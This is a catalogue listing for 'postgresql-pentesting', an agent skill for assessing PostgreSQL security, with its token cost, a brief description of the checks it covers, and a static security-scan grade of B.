postgresql-pentesting

postgresql-pentesting is a skill for Claude Code, Codex from wgpsec/AboutSecurity. It costs 110 tokens per session (4,525 once invoked), scanned B, original, no licence file.

A guide to assessing PostgreSQL, a relational database system, for weak authentication, excessive permissions, and paths from the database to the host.

In plain words
What is it for?
It supports PostgreSQL discovery, default-credential checks, database enumeration, file read and write testing, command-execution checks, privilege testing, and known-vulnerability testing.
Why use it?
It helps identify exposed databases, readable or writable files, command-execution opportunities, and privilege-escalation risks.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Security

Grade B, and why

postgresql-pentesting scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
